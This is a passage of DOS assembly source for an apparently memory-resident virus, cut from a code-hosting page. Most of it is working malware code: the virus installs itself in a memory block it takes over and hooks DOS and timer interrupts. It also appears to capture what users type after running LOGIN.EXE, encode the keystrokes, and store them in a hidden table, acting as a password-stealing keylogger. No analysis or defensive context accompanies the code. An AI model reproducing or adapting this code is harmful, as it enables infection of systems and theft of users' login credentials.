; ------------------------------------------------------------------------
start_virus: call start_virus_ ;Push offset start_virus_
start_virus_: pop bx
sub bx,start_virus_-run ;BX = offset run
mov byte ptr cs:[bx+data_34e],0FFh ;(8002:005C=0)
cld
cmp byte ptr cs:[bx+data_33e],0 ;(8002:005B=0)
je loc_42
mov si,old_bytes-run
add si,bx ;SI = off old_bytes
mov di,offset start
mov cx,20h ;Length backup ...
rep movsb ;Restore original program
push cs
mov cx,100h
push cx ;Push CS:0100h
push es ;Backup ES,DS,AX
push ds
push ax
jmp short obskok_1
loc_42: mov dx,ds
add dx,10h
add dx,cs:data_20e ;(8002:0020=0)
push dx
push word ptr cs:data_19e ;(8002:001E=0)
push es
push ds
push ax
obskok_1: push bx ;Backup BX (offset run)
clc ;Clear carry flag
mov ax,0C603h ;Neexistujuca funkcia DOS
int 21h ;Test pritomnosti v RAM
pop bx ;Restore offset run
jnc install ;Install virus if not allow
cmp ax,1
ja vir_in_memory ;Jump if virus in memory
call sub_19
vir_in_memory: pop ax ;Restore AX,DS,ES
pop ds
pop es
retf ;Jump to original prog.(100h)
install: cmp byte ptr cs:[bx+data_33e],0 ;(8002:005B=0)
je loc_43 ;Jump if equal
cmp sp,0FFF0h
jb vir_in_memory
loc_43: mov ax,ds ;Set ES to MCB
dec ax
mov es,ax
cmp byte ptr es:MCB_type,'Z' ;This memory block is last ?
je loc_45
push bx ;Backup offset run
mov ah,48h
mov bx,0FFFFh ;Maximum
int 21h ;Test available memory block
cmp bx,0CFh ;Je aspon kusok volneho ?
jb loc_44
mov ah,48h ;Zaalokuj vsetko co je k disp.
int 21h
loc_44: pop bx ;Restore offset RUN
jc vir_in_memory ;Let it be if not enought mem.
dec ax ;Decr. segment adress mem block
mov es,ax ;ES - MCB for allocated block
cli
mov word ptr es:MCB_owner,0 ;Nastav vlastnika bloku na 0
cmp byte ptr es:MCB_type,'Z';Last memory block ?
jne vir_in_memory
add ax,es:MCB_size
inc ax
mov es:data_3e,ax ;0012
loc_45: mov ax,es:MCB_size ;AX - size of memory block
sub ax,0CFh ; - virus size
jc vir_in_memory ;Jump if error size
mov es:MCB_size,ax ;Set new value
sub word ptr es:data_3e,0CFh ;0012 ??????
mov es,es:data_3e ;0012
xor di,di
mov si,bx ;CS:SI = RUN, ES:DI =new block
mov cx,0BE5h ;CX = virus length
rep movs byte ptr es:[di],cs:[si] ;Copy virus to new block
push es
pop ds ;DS - new segment
push bx ;Backup RUN
mov ax,3521h
int 21h ;ES:BX = getinterupt (21h)
mov word ptr ds:old_21+2,es ;Backup
mov ds:old_21,bx
mov ds:data_23e,es ;0030
mov ds:data_22e,bx ;002E
mov ax,351Ch
int 21h ;ES:BX = geninterrupt (1Ch)
mov word ptr ds:old_1c+2,es ;Backup
mov ds:old_1c,bx
pop bx ;Restore offset RUN
mov ax,2521h
mov dx,0EAh ;New
int 21h ;Redefine DOS interrupt
mov dx,7Fh ;New
pushf
mov ax,bx
add ax,vir_in_memory-run
push cs ;Push far adr. vir_in_memory
push ax
cli
pushf ;Push flag
pop ax ;Pop flag
or ax,100h ;Clear Trace flag (No step)
push ax ;Push modif. flag
mov ax,bx ;Offset RUN
add ax,loc_iret-run
push cs ;Push loc_iret far adress
push ax
mov ax,251Ch ;Set parameters for DOS int.
mov byte ptr ds:data_30e,1 ;0056
iret ;Jmp to loc_iret
;-------------------------------------------------------------------------
; SUBROUTINE
;-------------------------------------------------------------------------
sub_11: mov cx,50h
mov si,dx
cld ;Clear direction
xor ax,ax ;Zero register
mov cs:data_56,ax ;(8002:0C12=0)
locloop_46:
inc cs:data_56 ;(8002:0C12=0)
lodsb ;String [si] to al
or al,al ;Zero ?
loopnz locloop_46 ;Loop if zf=0, cx>0
dec cs:data_56 ;(8002:0C12=0)
mov si,dx
sub cs:data_56,9 ;(8002:0C12=0)
add si,cs:data_56 ;(8002:0C12=0)
mov di,978h
push cs
pop es
mov cx,9
cld ;Clear direction
repe cmpsb ;Rep zf=1+cx >0 Cmp [si] to es:[di]
jz loc_47 ;Jump if zero
jmp short loc_51 ;(086C)
db 90h
loc_47:
mov ah,62h ;'b'
call sub_7 ;(0229)
mov ds,bx
mov si,80h
cld ;Clear direction
lodsb ;String [si] to al
cmp al,1
ja loc_48 ;Jump if above
mov byte ptr cs:data_58,1 ;(8002:0C16=0)
nop
jmp short loc_51 ;(086C)
db 90h
loc_48:
mov byte ptr cs:data_58,0 ;(8002:0C16=0)
nop
push cs
pop es
mov ds,bx
mov cx,0Fh
mov si,82h
mov di,0BE6h
cld ;Clear direction
locloop_49:
lodsb ;String [si] to al
cmp al,61h ;'a'
jb loc_50 ;Jump if below
and al,0DFh
loc_50:
add al,62h ;'b'
stosb ;Store al to es:[di]
cmp al,6Fh ;'o'
loopnz locloop_49 ;Loop if zf=0, cx>0
mov al,6Fh ;'o'
stosb ;Store al to es:[di]
mov byte ptr cs:data_58,2 ;(8002:0C16=0)
nop
loc_51:
mov cs:data_56,0 ;(8002:0C12=0)
retn
DOS_input_: pushf ;Push flags
push cs
call sub_12
push ax
push ds
push si
push di
push es
mov ah,cs:data_58 ;(8002:0C16=0)
cmp ah,0
je loc_54
cmp ah,1
je loc_53
mov di,0BF6h
call sub_13
jnz loc_54 ;Jump if not zero
mov byte ptr cs:data_58,0 ;(8002:0C16=0)
nop
mov byte ptr cs:data_59,1 ;(8002:0C17=0)
nop
jmp short loc_54
nop
loc_53: mov di,0BE6h
call sub_13 ;(08C8)
jnz loc_54 ;Jump if not zero
mov byte ptr cs:data_58,2 ;(8002:0C16=0)
nop
mov cs:data_56,0 ;(8002:0C12=0)
loc_54: pop es
pop di
pop si
pop ds
pop ax
popf ;Pop flags
iret ;Interrupt return
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; SUBROUTINE
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_12: jmp dword ptr cs:data_22e ;(8002:002E=0)
;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_13: add di,cs:data_56 ;(8002:0C12=0)
cmp al,8
jne loc_55 ;Jump if not equal
cmp cs:data_56,0 ;(8002:0C12=0)
je loc_57 ;Jump if equal
dec cs:data_56 ;(8002:0C12=0)
jmp short loc_57 ;(0906)
db 90h
loc_55:
cmp al,61h ;'a'
jb loc_56 ;Jump if below
and al,0DFh
loc_56:
push cs
pop es
inc cs:data_56 ;(8002:0C12=0)
cmp cs:data_56,10h ;(8002:0C12=0)
jne loc_57 ;Jump if not equal
dec cs:data_56 ;(8002:0C12=0)
cmp al,0Dh
jne loc_57 ;Jump if not equal
mov cs:data_56,0 ;(8002:0C12=0)
loc_57:
add al,62h ;'b'
stosb ;Store al to es:[di]
cmp al,6Fh ;'o'
retn
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; SUBROUTINE
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_14: mov al,2
mov cx,0FFFFh
mov dx,0FFFCh
call sub_5 ;(0222)
push cs
pop ds
mov dx,0
mov cx,2
call sub_3 ;(0216)
mov ax,ds:data_4e ;(8002:0000=0)
cmp ax,6262h
jne loc_61 ;Jump if not equal
mov cx,10h
locloop_58:
push cx
mov ax,26h
dec cx
mul cx ;dx:ax = reg * ax
mov dx,0FD9Ch
add dx,ax
mov al,2
mov cx,0FFFFh
call sub_5 ;(0222)
mov dx,0BE6h
mov cx,26h
call sub_3 ;(0216)
jc loc_60 ;Jump if carry Set
cmp byte ptr data_48,82h ;(8002:0BE6=0)
jb loc_59 ;Jump if below
call sub_15 ;(0979)
loc_59:
pop cx
loop locloop_58 ;Loop if cx > 0
jmp short loc_60 ;(095C)
db 90h
loc_60:
mov al,2
mov cx,0FFFFh
mov dx,0FD9Ch
call sub_5 ;(0222)
mov dx,981h
mov cx,263h
nop
call sub_2 ;(0212)
loc_61:
mov cs:data_56,0 ;(8002:0C12=0)
retn
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; SUBROUTINE
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_15: call sub_17 ;(0A7A)
cmp cs:data_56,0Fh ;(8002:0C12=0)
je loc_64 ;Jump if equal
mov si,981h
mov ax,26h
mul cs:data_56 ;(8002:0C12=0) ax = data * ax
add si,ax
mov ax,cs:data_50 ;(8002:0C06=0)
cmp cs:data_20e[si],ax ;(8002:0020=0)
nop
jc loc_62 ;Jump if carry Set
mov ax,cs:data_51 ;(8002:0C08=0)
cmp cs:[si+22h],ax
nop
jc loc_62 ;Jump if carry Set
mov ax,cs:data_52 ;(8002:0C0A=0)
cmp cs:[si+24h],ax
nop
ja loc_ret_63 ;Jump if above
loc_62:
call sub_18 ;(0AB0)
loc_ret_63:
retn
loc_64:
mov cs:data_57,0Fh ;(8002:0C14=0)
mov cs:data_53,0 ;(8002:0C0C=0)
mov cs:data_54,0 ;(8002:0C0E=0)
mov cs:data_55,0 ;(8002:0C10=0)
loc_65:
dec cs:data_57 ;(8002:0C14=0)
jz loc_62 ;Jump if zero
mov si,981h
mov ax,26h
mul cs:data_57 ;(8002:0C14=0) ax = data * ax
add ax,26h
add si,ax
mov ax,cs:data_20e[si] ;(8002:0020=0)
or ax,ax ;Zero ?
jz loc_67 ;Jump if zero
cmp cs:data_53,ax ;(8002:0C0C=0)
ja loc_66 ;Jump if above
mov ax,cs:data_51 ;(8002:0C08=0)
cmp cs:[si+22h],ax
nop
jc loc_66 ;Jump if carry Set
mov ax,cs:data_52 ;(8002:0C0A=0)
cmp cs:[si+24h],ax
nop
ja loc_65 ;Jump if above
loc_66:
mov ax,cs:data_57 ;(8002:0C14=0)
inc ax
mov cs:data_56,ax ;(8002:0C12=0)
mov ax,cs:data_20e[si] ;(8002:0020=0)
mov cs:data_53,ax ;(8002:0C0C=0)
mov ax,cs:[si+22h]
mov cs:data_54,ax ;(8002:0C0E=0)
mov ax,cs:[si+24h]
mov cs:data_55,ax ;(8002:0C10=0)
jmp short loc_65 ;(09D2)
loc_67:
dec cs:data_57 ;(8002:0C14=0)
jnz loc_68 ;Jump if not zero
jmp loc_62 ;(09B2)
loc_68:
mov si,981h
mov ax,26h
mul cs:data_57 ;(8002:0C14=0) ax = data * ax
add ax,26h
add si,ax
mov ax,cs:data_20e[si] ;(8002:0020=0)
or ax,ax ;Zero ?
jz loc_67 ;Jump if zero
mov ax,cs:data_57 ;(8002:0C14=0)
inc ax
inc ax
mov cs:data_56,ax ;(8002:0C12=0)
jmp loc_62 ;(09B2)
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; SUBROUTINE
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_16: mov ah,2Ah ;'*'
call sub_7 ;(0229)
mov cs:data_50,cx ;(8002:0C06=0)
mov cs:data_51,dx ;(8002:0C08=0)
mov ah,2Ch ;','
call sub_7 ;(0229)
mov cs:data_52,cx ;(8002:0C0A=0)
retn
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; SUBROUTINE
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_17: push cs
pop ax
mov es,ax
mov ds,ax
mov cs:data_56,0 ;(8002:0C12=0)
loc_69:
mov di,981h
mov ax,26h
mul cs:data_56 ;(8002:0C12=0) ax = data * ax
add di,ax
mov si,0BE6h
loc_70:
mov al,[si]
cld ;Clear direction
cmpsb ;Cmp [si] to es:[di]
jnz loc_71 ;Jump if not zero
cmp al,6Fh ;'o'
jne loc_70 ;Jump if not equal
retn
loc_71:
inc cs:data_56 ;(8002:0C12=0)
cmp cs:data_56,0Fh ;(8002:0C12=0)
jne loc_69 ;Jump if not equal
retn
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; SUBROUTINE
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_18: mov ax,cs:data_56 ;(8002:0C12=0)
or ax,ax ;Zero ?
jz loc_73 ;Jump if zero
mov ax,26h
mul cs:data_56 ;(8002:0C12=0) ax = data * ax
mov cx,ax
add ax,9A7h
dec ax
mov di,ax
sub ax,26h
mov si,ax
std ;Set direction flag
rep movsb ;Rep when cx >0 Mov [si] to es:[di]
mov si,0BE6h
mov di,9A7h
mov cx,26h
loc_72:
cld ;Clear direction
rep movsb ;Rep when cx >0 Mov [si] to es:[di]
retn
loc_73:
mov si,0BF6h
mov di,991h
mov cx,16h
jmp short loc_72 ;(0AD9)
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; SUBROUTINE
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_19: push cs
pop ds
mov si,6Ah
add si,bx
mov di,6Ah
mov cx,0B7Bh
rep movsb ;Rep when cx >0 Mov [si] to es:[di]
retn
db 'LOGIN.EXE'
db 0B5h, 0B7h, 0B2h, 0A7h, 0B4h, 0B8h
db 0ABh, 0B5h, 0B1h, 0B4h, 6Fh, 0
db 0, 0, 0, 0, 6Fh, 0A7h
db 0B5h, 0AEh, 0B1h
db 6Fh
db 10 dup (0)
db 0C7h, 7, 0Ah, 0Ch, 0Bh, 8
db 32 dup (0)
db 0C7h, 7, 0Bh, 9, 35h, 6
db 'and', 0Dh, 0Ah, '$'
db 0Dh, 0Ah, 'Insufficoent memory fo'
db 'r '
db 0C7h, 7, 11h, 6, 0, 0Eh
db 0, 0
db 112 dup (0)
timer_count db 0
data_48 db 0
db 15 dup (0)
data_49 db 0
db 15 dup (0)
data_50 dw 0
data_51 dw 0
data_52 dw 0
data_53 dw 0
data_54 dw 0
data_55 dw 0
data_56 dw 0
data_57 dw 0
data_58 db 0
data_59 db 0
db 329 dup (0)
db 62h, 62h, 1, 0
newcom ends
end start

Reference in New Issue Copy Permalink